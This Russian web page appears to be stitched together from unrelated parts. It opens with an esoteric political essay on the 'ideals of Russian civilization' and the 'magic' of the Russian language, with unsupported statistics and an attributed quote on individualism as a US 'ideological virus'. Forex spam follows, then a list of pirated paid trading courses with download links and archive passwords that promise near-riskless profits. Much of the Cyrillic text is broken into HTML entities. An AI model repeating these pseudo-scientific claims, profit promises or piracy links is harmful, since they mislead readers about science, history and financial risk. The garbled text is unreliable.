В силу особого значения семейного рода и системы образования в развитии Любви и Творчества, партия русской цивилизации считает эти направления приоритетными в своей деятельности.


Закрепление идеалов русской цивилизации в Конституции РФ.


Основой русской цивилизация является русский язык, по сути образный и правополушарный, как и наше подсознание, которое не знает слов, но способно творить на базе образов и символов. Творчество также правополушарно, как и русский язык. Это основная причина того, чтобы считать, что творчество присуще русской цивилизации априори, т. е. как идеал. Это не голословное утверждение: Около 30% мировых изобретений принадлежало СССР, в 80-е годы прошлого столетия продажа технологий и лицензий ежегодно приносили стране около 50 млрд.$ США. К этому необходимо вернуться. С моей точки зрения, энергетика русского языка соответствует 7 тонким телам человека, т. е. проявляется по 7 направлениям: 1.атманическое (идеалы) – сакральная энергия символа, 2.будхиальное (ценности) – энергия образа, архетипа (суггестивная лингвистика), 3.каузальное (дела и поступки) - речь (фоносемантика), 4.ментальное (мысли) – энергия ума, 5.астральное (чувства) – энергия эмоций, 6.эфирное (матрица физического тела) – энергия жизненной силы, 7.физическое (тело) – энергия жестов и артикуляции.


Магия русского языка – это соединение всех энергий: символ-образ-дело-мысль(мыслеобраз)-чувс тво-тело (телоум) в языке. При таком соединении происходит не просто механическое соединение энергий, но возникает явление резонанса. Это и есть магия, способная изменять мир.


Не мысли и чувства определяют жизненный путь человека, но его идеалы и ценности лежат в основе его дел и поступков.


В русском языке обнаруживается такая же закономерность: в словах важен не столько смысл, сколько образы и символы, стоящие за словом, т. е. ценности и идеалы. Не стоит забывать о ритмическом строе языка, который может дать совпадение по “фазе” всех энергий и наступление резонанса, а может разрушить гармонию.


Итак, вот цепочка взаимодействия энергий русского языка.


Символ, соответствующий миссии и предназначению, транслируется из сверхсознательного, из сферы идеального, на уровень души, прорастая образами и архетипами в подсознании, затем образ поднимается в сознание и наполняется смыслом через понимание. Далее мыслеобраз насыщается эмоциями и чувствами, получает жизненную силу из эфирного тела, а затем реализуется в физическом мире через артикуляцию и жесты.


Я рассуждаю как дилетант, но для меня важно общее направление, а не детали: идеалы дают направление и энергию миссии, чтобы идти в этом направлении, например, вполне ощутимую энергию энтузиазма. Кроме того, есть жизненная сила и есть энергия подсознания, которые даются человеку для реализации предназначения. Это основные энергии. Меня интересует практика применения, т. е. школьная программа обучения русскому языку на базе вышесказанного: насколько это реализуемо, насколько близко можно допускать к полной магии языка школьников, ведь должен быть необходимый эволюционный уровень и т. д.


Ф орекс для начинающих трейдеров. базовый уровень обучения форекс.


Идеал –.представление высшего совершенства в каком-нибудь отношении, высшая цель стремления, нечто возвышенное, совершенное, прекрасное: идеал правды, идеал женской красоты, идеал государства. Вся история человечества есть преобразование действительности по идеалам, их воплощение в реальной жизни. Через идеалы измеряется степень и недостаток совершенства действительности, а также определяется выбор средств и методов достижения целей. “Мы знаем, что идеалы не могут существовать в действительном мире; мы лишь утверждаем, что по ним должно судить о действительности и последняя изменяется теми, которые чувствуют в себе силы для этого” (Фихте).


«Это недостижимый первообраз, к-рый никогда не может стать действительностью» (И. Кант). Идеалы указывают направление пути и дают энергию, чтобы этот путь осилить, но по определению они недостижимы, в отличие от жизненных ценностей, т. е. моральных норм, нравственности, убеждений. которые определяют поведение людей в повседневных жизненных ситуациях. Эта недостижимая цель - приглашение к пути, на котором происходит трансформация.


Сверхсущее (Дух) проявляется как Идея (Душа) через Логос (Ум).


« Идея есть действительное единство духа, ума и души.


Логос есть представление, но он также есть ум и истина.


Наконец, идея есть по преимуществу красота, но также душа и чувство. (В. С.Соловьёв «Философские начала цельного знания»)


Эта цитата приведена для обоснования выбора идеалов, как основного объекта рассмотрения, т. е. нас интересует душа, а не ум, красота, а не истина, чувство, а не представление. Кроме того, идеал – это целеполагание, он же даёт энтузиазм для реализации цели, поэтому необходимо искать, очищать и высветлять идеалы русской цивилизации, а не чужие, фальшивые для нас идеалы, за которыми нет энергии.


Как гипотеза – в этом различие европейской и русской цивилизаций: с одной стороны Логос (представление, ум, истина), с другой – Идея (красота, душа, чувство). Но это не противопоставление, так как и Идея и Логос суть проявление Сверсущего.


Здесь же лежит и главное отличие этой работы от других подобных: меня более интересует душа, чем ум, чувственное, а не логическое познание, я не применяю научный логический подход в чистом виде.


«Умом Россию не понять, Аршином общим не измерить: У ней особенная стать — В Россию можно только верить».(Ф. Тютчев)


Логика сейчас не спасёт, наука сейчас не спасёт, на это способен только энтузиазм народа, а это вертикаль, это идеалы и ценности, которые не могут быть потребностями, они вне времени, поэтому есть необходимость соизмерять с прошлым. Будущее – это так же идеалы, т.к. целеполагание – суть идеалов т. е. идеалы замыкают на себя прошлое и будущее, но жить нужно здесь и сейчас.


Кроме того, я исхожу из того, что простая творческая жизнь в соединении с Богом т. е. в Любви, первичность духа и души – в этом заключается наша миссия: мы Душа мира .


И, наконец, это совпадает с мистическим представлением об идеалах и ценностях, которые являются, по сути, каналами, ведущими к энергии миссии народа, к тому, «что о нас думает Бог в вечности».


Итак, идеалы дают энергию и направление, приближают к исполнению миссии.


Кроме того, есть ещё одна причина, по которой идеалам русской цивилизации необходимо уделять особое внимание именно на современном историческом этапе ; имя ей – управляемый хаос. Если исходить из теории управляемого хаоса, который разработан в США, в институте Санта Фе, под руководством Стивена Манна, открытые системы могут находиться в состоянии:


3. Неравновесного порядка, который при слабых воздействиях способен обрушиваться в хаос.


4. Детерминированного хаоса, который при слабых воздействиях может самоорганизоваться в относительно устойчивый порядок.


Согласно С. Ману, существуют следующие средства наращивания хаоса на территории геополитического противника:


1. — содействие либеральной демократии;


2. — поддержка рыночных реформ;


3. — повышение жизненных стандартов, прежде всего в элите;


4. — вытеснение ценностей и идеологии”.


(Из доклада Семенко В. П. старшего научного сотрудника Института религиозных и социальных исследований РАН).


Всё это «аттракторы хаоса» для любой цивилизации, которая построена не на индивидуализме и демократии. С другой стороны, для западной демократии такими «аттракторами хаоса» являются соборность, нестяжательство и далее по списку, т. е. идеалы русской цивилизации.


«Конфликтная энергия заложена в основы человеческих свойств с того момента, когда индивидуум стал базовым блоком глобальных структур. … С этим идеологическим вирусом в качестве нашего оружия США смогут вести самую мощную биологическую войну и выбирать, исходя из стратегии национальной безопасности, какие цели-народы нужно заразить идеологиями демократического плюрализма и уважения индивидуальных прав человека» . (Стивен Манн)


Индивидуализм, который есть базовая ценность западного мира и который является основным оружием США на современном историческом этапе, является для нас разрушающим «аттрактором хаоса».


В современных условиях Россия находится в состоянии «детерминированного хаоса», поэтому необходимо привнести специфические «зародыши устойчивого порядка» и искоренять всеми доступными способами указанные выше четыре аттрактора хаоса.


Такими «аттракторами устойчивого порядка» являются идеалы русской цивилизации и в первую очередь это соборность, как основная высшая ценность, противоположная индивидуализму, собирающая нашу цивилизацию в единое целое, дающая нам энергию и направление.


Размещаю в порядке важности основные идеалы. В этом тексте использованы труды Института русской цивилизации под руководством О. Платонова (четыре идеала) с дополнениями из иных источников (например, гражданская собственность – это разработка академика Нерсесянца В. С.). Важна Ваша оценка как с точки зрения разума. так и с точки зрения души. Первый идеал (русский язык) по сути таковым не является – это поле, в котором проявляются все остальные идеалы, это канал связи с Богом, с Единым. «В начале было Слово, и Слово было у Бога, и Слово было Бог» (Иоанн 1:1). Русский язык – это семя, которое укоренилось на огромной территории от моря до моря, из которого взросло древо русской цивилизации.


Русский язык, как основа мировоззрения и мироощущения, как основа единства народа. Это фундамент нашей цивилизации. «Без языка науки невнятны, законы мрачны, художества нелепы, рукоделия грубы, и одним словом: все без вида, без образа, без души. Язык и словесность нужны не для одних наук, законов и художеств. Всякое ремесло, рукоделие и промысл их же светом освещаются, от них заимствуют свое совершенство. Свой язык упадает, потому что предпочитается ему чужой. Где чужой язык употребляется предпочтительнее своего, где чужие книги читаются более, нежели свои, там при безмолвии словесности все вянет и не процветает».( А. С. Шишков ) «Человек в начале своего языкового творчества ощущал свое единство с природой и Богом. Это нашло выражение в сложности языка, в котором он пытался выразить все разнообразие ощущаемых им оттенков связи его и природы. С момента, когда он выделил себя из природы и противопоставил ей, язык стал неуклонно упрощаться. Но чем дальше, тем больше он социализируется для выполнения чисто общественных функций. И, чем примитивнее управление обществом, чем дальше оно от духа соборности и единства, тем примитивнее становится язык. Если язык упрощается, то он диссонирует с реальной структурой организма и ведет ее к преждевременной гибели. … Через язык с нами говорит Целое, частью которого мы являемся. Если мы слушаем язык как таковой, то услышим Целое, которое говорит о своей структуре, задачах, смыслах ».(В. Татур)


В русской цивилизации язык – это ключ к двери не только в Целое, но и в Единое, через русский язык мы напрямую общаемся с божественным. Наш язык всё ещё носитель сакрального, последний в этом роде и его необходимо сберегать. В остальных языках осталась лишь его одна горизонтальная функция – общение, передача информации.


Соборность, в изначальном религиозно-философском смысле, означает примат святого Духа, т. е. это единение на высшем, духовном уровне. Соборность – это духовное братство свободных личностей, это единство в многообразии, которое включает в себя высшую степень индивидуального развития, т. е. реализацию своего предназначения («Гением становится человек, узнавший свое предназначение». (И. В. Гёте)) и, вместе с тем, согласование личных ценностей с ценностями этноса, неразделимость с целым, т. е. соборность – это реализация себя в рамках предназначения этноса.


Истинная соборность достигается в соединении душ в любви и самопожертвовании (это ещё два идеала русской цивилизации, пришедших из учения Христа, которые входят априори в понятие соборности. Третьим идеалом, укрепившемся под воздействием христианства, является братство). С биологической точки зрения, устойчивой единицей вида является не отдельная особь, а популяция. Процветающая единица биосферы – не вид, а биоценоз. Соборность привносит духовную составляющую в этот суровый закон естественного отбора, превращая его в эволюцию духа и души, т. к. основной закон эволюционного развития человека – это расширение сознания сердца, т. е. Любовь . Собор – соединиться со всем, доминирование целого над отделённым (Русский силлабарий Беликова). Возрождение соборности означает возрождение духовности в первую очередь и совсем не обязательно это связано с религией. Понимание соборности как отношений, складывающихся в практической деятельности людей, как коллективизма и примитивной общинности, основанной только на внешних связях, на материальных основаниях без духовной составляющей такого единства на основе Любви, Правды и готовности «положить душу свою за други своя» (Евангелие от Иоанна 15. 13.), означает профанацию, которая ведёт к деградации отношений и распаду сообщества. Соборность действует вне пространства и вне времени, это “град общения по духу” (Аврелий Августин). Семейный род – первичная школа соборности, т. к. истинная семья, а не совместное проживание, не просто «счастливый совместный паразитизм» & Ndash; это соединение душ в Любви и самопожертвовании. Воинское братство – ещё один пример проявления истинной соборности, помимо религии.


Семья и семейный род – основы русской цивилизации. Семейный род – основная единица этноса, семья – основа государственной структуры. Государство не имеет права вмешиваться в семейный род, т. е. на уровне духа и души и оперирует только на уровне семьи, как социальной единицы общества и государства.


Общенародная собственности в виде Гражданской собственности, как высшей степени её проявления (как её понимает академик В. С. Нерсесянц. «Юридически говоря, гражданская собственность — это идеальная доля каждого собственника в общей собственности всех граждан. Фактически владелец гражданской собственности будет получать лишь соответствующую его идеальной доле часть денежных доходов от объектов общей собственности. Эти денежные поступления на специальные счета каждого юридически можно обозначить как реальную долю владельца гражданской собственности, которой он может распоряжаться по своему усмотрению. Сама же гражданская собственность в виде идеальной доли по природе своей не может быть изъята из общей собственности и не может быть предметом какой-либо сделки. Она носит персонально определенный, неотчуждаемый характер и принадлежит гражданину от рождения до смерти. Будущие новые граждане (из числа тех, кто родится или получит гражданство по иным основаниям), как и все прежние граждане, будут иметь одинаковое право на равную гражданскую собственность». В особой степени это касается земли: земля не может быть объектом торговли, а доходы, получаемые от аренды земли должны принадлежать всем в равной степени». Хотим мы этого или нет, но будущее именно за коллективными решениями, за общественной формой собственности. Такой, например, как гражданская собственность, как продолжение общенародной социалистической собственности, очищенной от прежних ошибок (главная ошибка – подмена общенародной собственности государственной собственностью).


Державность (как символ духовного единения, и как вариант, – Духовное самодержавие) с сильной исполнительной властью, ввиду огромных территорий, сложных природных условий и большого числа народов несёт защитную функцию и является структурным скелетом единого этноса. При этом необходимо понимание того, что государственные идеалы и ценности значительно ниже этнических и не могут их подменять. Гражданская собственность сводит опасность злоупотребления в сфере государственной власти к минимуму. Державность – «Утверждение роли своей страны как великой и единой державы».(С. И. Ожегов) Держава – собирать, соединять нечто отделённое, распространенное по пространству земли. во внутреннее пространство (согласно русского силлабария Беликова). Основное ограничивающее требование: полное отсутствие шовинизма. - идеологии, сутью которой является проповедь национального превосходства. Державность, т. е. независимость государства предполагает автаркию. Ещё одно значение термина «державность» & Ndash; символ Царства божьего на земле, например, Христос часто изображается с державой в левой руке, Вседержитель, икона Божьей матери «Державная» в Коломенском. т. е. значение термина «держава» имеет второе, сакральное значение, в отличие от светскости значения термина «государство».


Самодостаточность России, как независимость от внешних обстоятельств, при открытости к внешним влияниям мира, т. е. автаркия. Основная особенность Руси и, затем России – поглощение и переваривание внешних влияний. «Лев состоит из переваренной баранины». (Поль Валерии) Россия подобна льву. Это основа нашей безопасности.


Любовь. Этот идеал не является только русским – он общечеловеческий. Тем не менее, его влияние огромно, так как последнее тысячелетие русская цивилизация развивалась в рамках христианских заповедей. «Бог есть Любовь, и пребывающий в любви пребывает в Боге. и Бог - в нем!» (1 Ин 4:16) Это и есть истинная вера – нахождение в состоянии Любви. Это основа соборности. Основной отличительной чертой истинной Любви является то, что любящий желает раствориться в возлюбленном. Соединение двух в единое целое, подобно Троице, которая » Нераздельна, ибо едина по сущности и в любви; неслитна, ибо по ипостасям лична». Идеал соборности основан на Любви. Истинная соборность достигается в соединении душ в любви и самопожертвовании. Часто понятие Любви профанируется до того, что Ричард Бах назвал «счастливым взаимным паразитизмом».


И семья и общество создаются не только совместным проживанием. Должна быть вертикальная связь: Любовь, например, т. е. любое истинное объединение строится на безкорыстной отдаче. Умение отдавать и есть тот цемент, который нас скрепляет. Основной канал передачи ценностей нашей цивилизации – это конечно же семья, а затем школа.


И семья, и народ – это сообщество людей, готовых давать и дающих друг другу безвозмездно своё время, энергию и любовь. Если отношения строятся только на законе “Ты – мне, я – тебе” (основной закон взаимного паразитизма), если они основаны только на денежных или материальных ценностях, то это приводит к деградации отношений и распаду сообщества.


Правда как единство любви, добра и красоты. Правь-да - т. е. это преломление и утверждение высших законов горнего мира в сознании человека русской цивилизации. «Не в силе бог, а в правде. Иные – с оружием, иные – на конях, а мы Имя Господа Бога нашего призовем!» Александр Невский. Основным инструментом правдолюбия является совесть: «Сердце сердцу весть подаёт». Жизнь по правде требует наличия совести и стыда. Необходим один внутренний закон вместо томов гражданского и уголовного кодекса. «Жизнь по сердцу, а не по правилам». (Л. Толстой), это сопереживание и сочувствие. В связи с этим воспитание нравственности приобретает решающее значение, т. к. русская идея – это жизнь по правде (Высший закон), а не по безконечному количеству юридических законов. В этом истинная причина не исполнения законов в России.


Добротолюбие – идеал русской цивилизации, т. е. добро и зло это не две равные силы, добро необоримо и всегда побеждает. Человек по природе добр, а зло в мире – отклонение от нормы. Это отличается от современного западного представления о том, что добро и зло – суть проявление Единого, лишь Его разные степени.


Традиция нестяжательства – преобладание духовно-нравственных мотивов над материальными интересами в отличие от западной цивилизации.


Многие из этих идеалов существуют несколько тысячелетий. Следует отметить, что есть точка зрения, что прошлое не должно вмешиваться в настоящее, т. е. настоящее диктует свои законы. Это так, история не повторяется, но это мало касается идеалов. Коллективное безсознательное не меняется быстро, это база; миссия вообще не меняется при жизни этноса. Назад в прошлое или вперёд в будущее? На самом деле исчерпывающий ответ на этот вопрос был дан две тысячи лет назад в Нагорной проповеди: «Итак, не заботьтесь о завтрашнем дне, ибо завтрашний сам будет заботиться о своем: довольно для каждого дня своей заботы» (Матф. 6:34). Жить следует здесь и сейчас, это хорошая жизненная философия, только в этом случае ты открыт и для прошлого и для будущего. Прошлое – фундамент, будущее – цель, настоящее – жизнь. Основной секрет проживания в дне сегодняшнем заключается в тотальности, полной погружённости, а это возможно только при условии подключения энергии идеалов; при низкой энергетике, т. е. отсутствии идеалов, возможно лишь то, что Авессалом Подводный называет «халтурой» и что в огромной степени характеризует современную жизнь. Идеалы являются основой целеполагания, т. е. движущей силой, направленной в будущее.


В дальнейшем, под каждый идеал необходимо будет создать институты: Институт соборности, Институт Правды, Институт Любви:)) и т. д. Каждый институт будет отвечать за развитие, очищение и формирование идеала, тонкой проработке жизненных ценностей реализующих этот идеал и конкретное воплощение идеалов и ценностей в реальной жизни, создавая определённые программы и условия для этого. Например, Институт соборности должен проработать ритуал посвящения в воины, чтобы обязательная служба в армии, помимо профессиональной, была престижна и реально полезна. Это самый яркий инструмент формирования братства, т. е. соборности.


И важнейшей задачей ПРЦ является возвращение российской элите первородства, которое она продала за чечевичную похлёбку. т. е. возврат к идеальному, к душе.


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Forex – обман, развод лохотрон или возможность заработать? Вся правда, хитрости по Форексу. Binary option kaskus forex club развод. forex club irkutsk; bot binary options iq option; forex hoax or not; Information. About Us; Renuncia; Contáctenos; forex club развод Mentions of FOREX CLUB in the English media.53 Comments of FOREX CLUB analysts 31. Это очередной развод и лохотронФорекс обман Форекс лохотрон Форекс развод - USSR-55. Отзывы о Forex Club - Финансовый рейтинг.


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Одним из которых является forex club . развод лохотрон или возможность заработать. Развод по русски, или реальная возможность. Видимо после такой рекламы. Forex club ua. Форекс Клуб Forex Club Форекс Клуб Forex Club – компания. развод? Форекс это обман или нет?


Дн. назад. Описание. Libertex — лучшее приложение для заработка на инвестициях в различные финансовые активы. Идеально подходит. Форекс Forex для начинающих отзывы о Forex Club . отзывы о заработке и. Торговать онлайн Libertex для браузера и планшета iPhone и Android.


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To Buy Or Not To Buy: That Is The Question.


Unlike major equities or futures markets, there is no single centralized exchange for forex trading. Such decentralized activity makes it impossible to find uniform volume or open interest. In layman’s terms: How do you find the ratio of buyers and sellers in the spot forex market? The information is critically important and can help a trader determine if it is better to be a buyer or seller.


The DailyFX PLUS Speculative Sentiment Index (SSI) fills the gap by offering access to FXCM’s proprietary volume and positioning information, giving an unparalleled view of forex market sentiment. See example below. For up to date SSI data, log into DailyFX PLUS. SSI is now available as an indicator for Trading Station on FXCMApps. com. Click here for more information.


The SSI data includes:


Posicionamiento


Ratio of buy trades to sell trades in a given pair


Interes abierto


Percentage of total trades open in a given pair


Daily Change Long


Percentage change of buy trades in a given pair


Daily Change Short


Percentage change of sell trades in a given pair


The DailyFX PLUS Speculative Sentiment Index (SSI) is an excellent tool to gauge trader positioning and sentiment in the forex market, and it can help you decide which side of the trade to be on.


1-я типичная ошибка новичков трейдеров на 1-й стадии обучения форексу . Закончив курсы обучения форексу при одном Дилинговом Центре и проиграв после успешного окончания свой первый реальный торговый счет, новичок трейдер идет обучаться на.


Альпари предлагает обучение трейдеров . вы можете пройти обучение форекс . разделить на 3 вида.


Обучение трейдеров в мастер - классе дистанционной школы трейдеров "USSR-55" происходит на основе двух торговых систем форекс . торговой системы "USSR-55" и торговой системы "USSR-STS".


Форекс обучение для начинающих трейдеров . 4 :22 What is fat? - George Zaidan by TED-Ed.


Альпари предлагает обучение трейдеров . вы можете пройти обучение форекс . платформа MetaTrader 4 .


Каталог платных & # 1060; & # 1088; & # 1077; & # 1082; & # 1089; стратегий & # 1089; ссылками


Платные вебинары Станислава Бернухова: Мастер-класс «TTE как основа торговой системы» & Ndash; глубоко раскрывает работу со свечным паттерном TTE («Trader’s Trick Entry» или "Хитрость трейдера"). Мастер-класс «Top-down анализ & # 1080; & # 1083; & # 1080; & # 1087; & # 1086; ту сторону графика цены» & Ndash; посвященный анализу взаимодействия разных движущих сил финансового рынка. Торгуете ли вы & # 1085; & # 1072; Forex, акциях & # 1080; & # 1083; & # 1080; фьючерсах, вы будете задавать себе одни & # 1080; те & # 1078; & # 1077; вопросы & Ndash; & # 1089; & # 1090; & # 1086; & # 1080; & # 1090; ли принимать сделку в той & # 1080; & # 1083; & # 1080; иной ситуации, будет ли начавшееся движение продолжаться & # 1080; т.д. & # 1080; т.п. Мастер-класс «Эффективная постановка стопов» & Ndash; название говорит само & # 1079; & # 1072; себя. Автор: Станислав Бернухов Год: 2013 Офф. сайт: http://bernuhov. com/TTE. html, http://bernuhov. com/Topdown_webinar. html, http://www. bernuhov. com/Stop_placement. html Стоимость: 3297р Скачать Платные вебинары Станислава Бернухова: https://mega. co. nz/#!tcxhDTqB! RUyWBHHz9hxmAOhdAe2cxsOAQdWSoTskcavNSYVYv54 _ Мастер-класс «Торговля в балансовом рынке» Мастер-класс Станислава Бернухова & Ndash; Торговля в балансовом рынке, из которого вы узнаете & # 1082; & # 1072; & # 1082; определять момент "балансировки" рынка внутри тренда & # 1080; найти хорошую точку входа & # 1089; отката (в направлении тренда). А также: как & # 1073; & # 1086; & # 1083; & # 1077; & # 1077; точно определять центры вращения диапазона, как вовремя поменять направление сделок & # 1080; другое. Автор: Станислав Бернухов Год: 2013 Офф. сайт: http://www. bernuhov. com/Balancing_market. html Стоимость: 1350р Скачать мастер-класс «Торговля в балансовом рынке»: http://yadi. sk/d/qqbmkzJwKWBhb Пароль & # 1085; & # 1072; архив: forexhack. ru


BINARYTIK V2.0 Вы получите готовую стратегию заработка & # 1085; & # 1072; бинарных опционах, увидите в действии стратегию в живой торговле автора & # 1085; & # 1072; реальных действующих графиках котировок. Автор: Александр Шаповальский Год: 2014 Офф. сайт: http://binarytik. at. ua/ Стоимость: 1500р Скачать видеокурс BINARYTIK V2.0: https://mega. co. nz/#!ZNpl1DaD! spxQWke8bZcbCJ_8BDMNdLs8ODrEzuR2-jKIk_hMH2k Пароль & # 1085; & # 1072; архив: forexhack. ru


Индикатор Active Volume ProfilES Высокоэффективный скальпинг нового поколения: работа & # 1089; данным индикатором позволяет трейдеру работать & # 1085; & # 1077; & # 1089; кофейной гущей, а использовать рыночные движения в свою пользу, вставать в рынок в самом начале откатов & # 1080; разворотов иногда & # 1089; пугающей максимальной точностью, и фиксировать профит перед окончанием движения довольно часто & # 1089; & # 1085; & # 1077; меньшей точностью, когда это позволяет сделать рынок. Автор: clikbank Год: 2014 Офф. сайт: http://www. skalpingclass. com/ Стоимость: 45$ Скачать индикатор ActiveVolumeProfile: http://yadi. sk/d/WhUeWqlKHjxC6


Видео-курс & # 1087; & # 1086; системному трейдингу & # 1089; высокой отработкой тейка Платный обучающий курс, по трейдингу & # 1085; & # 1072; & # 1092; & # 1086; & # 1088; & # 1077; & # 1082; & # 1089; & Ndash; активный скальпинг внутри дня & # 1085; & # 1072; м15, м30, с оглядкой & # 1085; & # 1072; Н1, Н4, который даст вам: · полностью готовые точки входа & # 1080; выхода · сможете брать осознанный, а & # 1085; & # 1077; случайный, профит & # 1085; & # 1072; рынке · навсегда решить проблему денег & # 1080; зависимости & # 1086; & # 1090; экономических потрясений в мире Автор: Трейдер валютных рынков & # 1080; управляющий активами, Отришко Александр Сергеевич Год: 2013 Офф. сайт: http://forex-expert. justclick. ru/sell-page-kurs Стоимость: 3999р Скачать видео-курс & # 1087; & # 1086; системному трейдингу & # 1089; высокой отработкой тейка: http://yadi. sk/d/Fc6cEZjYFMb4Z Пароль & # 1085; & # 1072; архив: forexhack. ru


​ G. S.P._Fx_Binary – сверх прибыльная индикаторная & # 1088; & # 1075; & # 1086; & # 1074; & # 1072; & # 1103; & # 1089; & # 1089; & # 1090; & # 1077; & # 1084; & # 1072; & # 1076; & # 1083; & # 1103; & # 1060; & # 1088; & # 1077; & # 1082; & # 1089; & # 1080; Бинарных Опционов В ТС G. S.P._Fx_Binary индикаторы подобраны таким образом, чтобы ТС работала & # 1089; минимальными перестройками практически & # 1085; & # 1072; любом инструменте рынка, представленным в МТ4. ТС позволяет довольно точно находить точки входа & # 1080; выхода & # 1076; & # 1083; & # 1103; получения максимальной прибыли & # 1080; сведением убыточных сделок практически до нуля. Автор: Максим Акелов, Василий Рублёв Офф. сайт: http://www. blog-problem. net/ Стоимость: 399$ Скачать G. S.P._Fx_Binary – сверх прибыльную индикаторную торговую систему & # 1076; & # 1083; & # 1103; & # 1060; & # 1088; & # 1077; & # 1082; & # 1089; & # 1080; Бинарных Опционов: http://yadi. sk/d/Gctc8iR_AjqLP Пароль & # 1085; & # 1072; архив: forexhack. ru


Автоматическая & # 1088; & # 1075; & # 1086; & # 1074; & # 1072; & # 1103; & # 1089; & # 1089; & # 1090; & # 1077; & # 1084; & # 1072; Опционами в МТ4 - BOOM! "Представляем вашему вниманию Автоматическую Торговую Систему "BOOM! Option Expert MT4"! У которой 70% прибыльных сделок. Да-да! Это система торговли опционами на платформе MetaTrader4 работает на полном автопилоте и делает все за вас! Система рассчитана, как на новичков, так & # 1080; & # 1085; & # 1072; людей, уже имеющих опыт & # 1088; & # 1075; & # 1086; & # 1074; & # 1083; & # 1080; & # 1085; & # 1072; рынке FOREX." Автор: Александр Шадрин Офф. сайт: http://diary-speculator. ru/boom/ Стоимость: 1232р Скачать Автоматическую торговую систему Опционами в МТ4 BOOM!: http://yadi. sk/d/Uai5Da9BAy5FA Пароль на архив: forexhack. ru


Aвторская & # 1089; & # 1089; & # 1090; & # 1077; & # 1084; & # 1072; SBP™V3 (Система Безупречного Профита) Об авторе: на рынке & # 1060; & # 1088; & # 1077; & # 1082; & # 1089; & # 1073; & # 1086; & # 1083; & # 1077; & # 1077; 4 лет, перепробовал тысячи & # 1088; & # 1072; & # 1079; & # 1083; & # 1080; & # 1095; & # 1085; & # 1099; & # 1093; систем, советников & # 1080; стратегий. Результат оставался всегда плачевным. За годы, опытным путем было найдено то, что искал долгое время. Автор собрал свою торговую систему, в основе которой лежат 9 индикаторов. По ним определяются предполагаемые точки "разворота". ТФ - дневки. Для подтверждения "разворота" открыт график H1. Система работает & # 1085; & # 1072; всех таймфреймах. Автор: FOREX-LUX ™ Год: 2013 Офф. сайт: http://www. plati. ru/asp/pay. asp? id_d=1050685 Стоимость: 90$ Скачать авторскую систему SBP™V3: http://yadi. sk/d/fuvhpZInAjoha Пароль & # 1085; & # 1072; архив: forexhack. ru


MTC Trend Scanner H4 v.1.2 Торговая & # 1089; & # 1089; & # 1090; & # 1077; & # 1084; & # 1072; MTC Trend Scanner H4 v.1.2 New была разработана специалистами компании Forex-Trader-Pro™ специально & # 1076; & # 1083; & # 1103; валютного рынка Forex. Данная МТС является трендо-следящей & # 1080; работает & # 1085; & # 1072; временном интервале Н4. Автор: Forex-Trader-Pro™ Год: 2011 Офф. сайт: /mtc-trend-scanner-h4-v12-ot-forex-trader-pro/ Стоимость: 200$ Скачать MTC Trend Scanner H4 v.1.2: http://yadi. sk/d/WIbClzcS9jRev Пароль & # 1085; & # 1072; архив: forexhack. ru


TC Алиска "Ещё одна система по корреляции. Подход несколько иной, но достаточно простой и интересный в плане того, что хорошо сбывается. В архиве есть два скрина - примеры того, как хорошо сбылось & # 1087; & # 1086; USDJPY к USDCAD. На другом скрине неплохая потенциальная ситуация & # 1089; GBPJPY Buy и одновременно NZDUSD Sell." Автор: неизвестен Год: 2013 Скачать бесплатно TC Алиска: http://yadi. sk/d/avWcf9NV9jN5S http://yadi. sk/d/wFtj56yo9nhKd Пароль на архив: forexhack. ru


​Ловушка & # 1076; & # 1083; & # 1103; цены. Как заработать & # 1086; & # 1090; 7 до 22% прибыли & # 1085; & # 1072; & # 1060; & # 1088; & # 1077; & # 1082; & # 1089; После изучения подробного курса & # 1087; & # 1086; торговле & # 1085; & # 1072; & # 1092; & # 1086; & # 1088; & # 1077; & # 1082; & # 1089; в формате PDF и освоения торговой системы "Ловушка для цены" вы & # 1073; & # 1077; & # 1079; сомнений сможете зарабатывать серьёзные деньги каждый день & Mdash; быстро, профессионально, без стресса! У вас будет чёткое понимание как, что & # 1080; зачем вы делаете & # 1085; & # 1072; бирже. Научитесь анализировать графики & # 1080; индикаторы, находить выгодные точки входа, расставлять Stop Loss и Take Profit, управлять позициями & # 1080; капиталом, вовремя выходить & # 1080; & # 1079; сделок. И всё это абсолютно & # 1073; & # 1077; & # 1079; & # 1080; & # 1089; & # 1082; & # 1072 ;. Автор: Игорь Алмазов («Форексмен») Год: 2012 Офф. сайт: http://forex-men. ru/ Стоимость: 14970р Скачать методику заработка & # 1085; & # 1072; & # 1092; & # 1086; & # 1088; & # 1077; & # 1082; & # 1089; "Ловушка для цены": http://yadi. sk/d/EqMIqL1c5WHFa Пароль & # 1085; & # 1072; архив: forexhack. ru Торговая & # 1089; & # 1089; & # 1090; & # 1077; & # 1084; & # 1072; "USSR-55" Торговая & # 1089; & # 1089; & # 1090; & # 1077; & # 1084; & # 1072; "USSR-55" – это простая прибыльная стратегия & # 1088; & # 1075; & # 1086; & # 1074; & # 1083; & # 1080; & # 1085; & # 1072; форекс, чёткий алгоритм извлечения прибыли. ТС позволит осуществлять вход в рынок & # 1089; минимальной просадкой & # 1085; & # 1077; & # 1073; & # 1086; & # 1083; & # 1077; & # 1077; 25-30 пунктов. За предоставление материала большое спасибо нашему VIP-пользователю 3000ss. Автор: USSR-55 Год: 2011 Офф. сайт: http://www. ussr-55-forex. ru/ Стоимость: 500$ Скачать торговую систему "USSR-55": http://yadi. sk/d/36TEOvON5WDYY Пароль & # 1085; & # 1072; архив: forexhack. ru


​Торговая & # 1089; & # 1089; & # 1090; & # 1077; & # 1084; & # 1072; 20М Перед вами уникальная стратегия получения прибыли & # 1085; & # 1072; рынке Форекс. Она & # 1085; & # 1077; требует постороннее усиление & # 1080; & # 1083; & # 1080; одобрение: вы просто загружаете шаблон со всеми необходимыми файлами, внимательно читаете инструкцию, тренируетесь хотя бы неделю & # 1080; начинаете постоянно & # 1080; стабильно зарабатывать деньги. Автор: Игорь Алмазов Сайт: http://forex-men. ru/novaya-strategiya-zarabotka-20m. html Год выпуска: 2013 Стоимость: 7000р Скачать торговую систему 20М: http://yadi. sk/d/zqbCta4a4aznw Пароль & # 1085; & # 1072; архив: forexhack. ru


